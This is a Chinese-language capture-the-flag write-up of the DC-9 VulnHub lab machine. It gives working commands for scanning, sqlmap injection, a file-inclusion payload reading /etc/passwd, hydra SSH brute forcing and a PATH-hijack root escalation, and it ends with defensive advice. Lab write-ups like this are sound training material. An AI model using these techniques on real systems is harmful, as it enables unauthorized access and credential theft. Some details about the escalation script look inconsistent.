1. 靶机渗透测试概述
DC-9是VulnHub平台上发布的一款专为渗透测试练习设计的虚拟靶机环境。这个靶机模拟了真实世界中存在多种漏洞的Web应用系统,包含从信息收集到权限提升的完整攻击链。作为安全从业者,我花了三天时间完整走通了整个渗透流程,过程中遇到了不少值得记录的技巧和坑点。
这类靶机特别适合初中级安全爱好者练手,它涵盖了SQL注入、文件包含、密码爆破、权限绕过等经典漏洞,同时需要攻击者具备基础的Linux系统知识。整个渗透过程就像在玩一场解谜游戏,需要耐心地收集线索、尝试各种可能性,最终拿到root权限。下面我就把这次实战的完整过程和关键节点分享给大家。
2. 环境准备与信息收集
2.1 实验环境搭建
首先需要准备攻击机和靶机环境。我的实验环境配置如下:
- 攻击机:Kali Linux 2023.2(IP自动分配)
- 靶机:DC-9虚拟机(下载自VulnHub)
- 网络模式:VMware NAT模式
- 工具集:nmap、gobuster、sqlmap、hydra等
注意:启动DC-9前务必检查虚拟机网卡设置,确保与Kali在同一网段。我刚开始就因为NAT配置错误导致无法发现靶机IP。
2.2 基础信息收集
使用nmap进行基础扫描是渗透测试的标准起手式。这里我用了以下命令:
bash复制nmap -sV -T4 -p- 192.168.31.134
扫描结果显示开放了22(ssh)和80(http)端口,Web服务运行的是Apache 2.4.38。特别值得注意的是,80端口还显示了"DC-9"的标题,这确认了我们找对了目标。
接下来用gobuster进行目录爆破:
bash复制gobuster dir -u http://192.168.31.134 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现了几个关键目录:
- /admin (后台管理页面)
- /config (配置文件目录)
- /includes (包含文件目录)
3. Web应用漏洞挖掘
3.1 SQL注入漏洞利用
访问首页发现是个员工查询系统,在搜索框尝试输入单引号'时,页面返回了数据库错误信息——这明显存在SQL注入漏洞。为了高效利用,我直接上sqlmap:
bash复制sqlmap -u "http://192.168.31.134/results.php" --data="name=test" --dbs
成功获取数据库信息:
- 数据库名:Staff
- 表名:Users(包含username/password)
- 表名:UserDetails(包含更多员工信息)
使用--dump参数导出Users表数据,获得了11组用户名和MD5加密的密码。通过在线破解网站解出了部分弱密码,如:
- admin:transorbital1
- joey:pass1234
3.2 后台权限绕过
用获取的admin凭证登录/admin后台,发现有个"文件管理"功能。尝试上传PHP webshell时被拦截,但查看页面源码发现存在本地文件包含漏洞:
php复制include($_REQUEST['file']);
构造payload成功读取/etc/passwd文件:
code复制http://192.168.31.134/admin/manage.php?file=../../../../etc/passwd
发现系统存在jane用户,这为后续SSH爆破提供了方向。
4. 系统权限提升
4.1 SSH爆破与登录
结合之前获取的用户名和/etc/passwd中的有效用户,我用hydra进行SSH爆破:
bash复制hydra -L users.txt -P passwords.txt ssh://192.168.31.134 -t 4
成功爆破出jane用户的密码:jane1234。登录后检查sudo权限:
bash复制sudo -l
发现jane可以免密码运行/opt/devstuff/dist/test/test,这是个自定义的Python脚本。
4.2 脚本分析与提权
查看test脚本源码:
python复制import os
os.system('ls -la')
由于脚本调用了os.system且属主是root,我们可以通过修改PATH环境变量实现提权:
bash复制echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
sudo /opt/devstuff/dist/test/test
成功获取root shell!最后在/root目录下找到flag文件。
5. 关键问题与解决技巧
5.1 常见错误排查
- SQLmap无结果:可能是POST参数识别错误,用--data指定完整参数格式
- Hydra爆破失败:检查网络连通性,调整-t线程数(过高会被封)
- 文件包含失效:尝试不同路径深度(../../数量)和文件编码
5.2 效率优化技巧
- 使用--batch参数让sqlmap自动选择默认选项
- 爆破SSH时先用少量常见密码测试响应速度
- 本地文件包含配合php://filter可以读取源码:
code复制php://filter/convert.base64-encode/resource=index.php
6. 防御建议与总结
从防御角度看,这个靶机暴露了多个典型安全问题:
- 输入未过滤导致的SQL注入
- 敏感信息明文存储(MD5不加盐)
- 不必要的sudo权限分配
- 开发环境文件残留(test.py)
在实际渗透测试中,每个环节都可能遇到各种意外情况。比如我在提权阶段最初尝试了内核漏洞提权未果,后来才转向sudo滥用。这种不断尝试、验证的过程正是渗透测试的魅力所在。
最后分享一个实用技巧:遇到复杂环境时,建议用KeepNote或CherryTree实时记录所有尝试过的payload和结果,这对理清思路非常有帮助。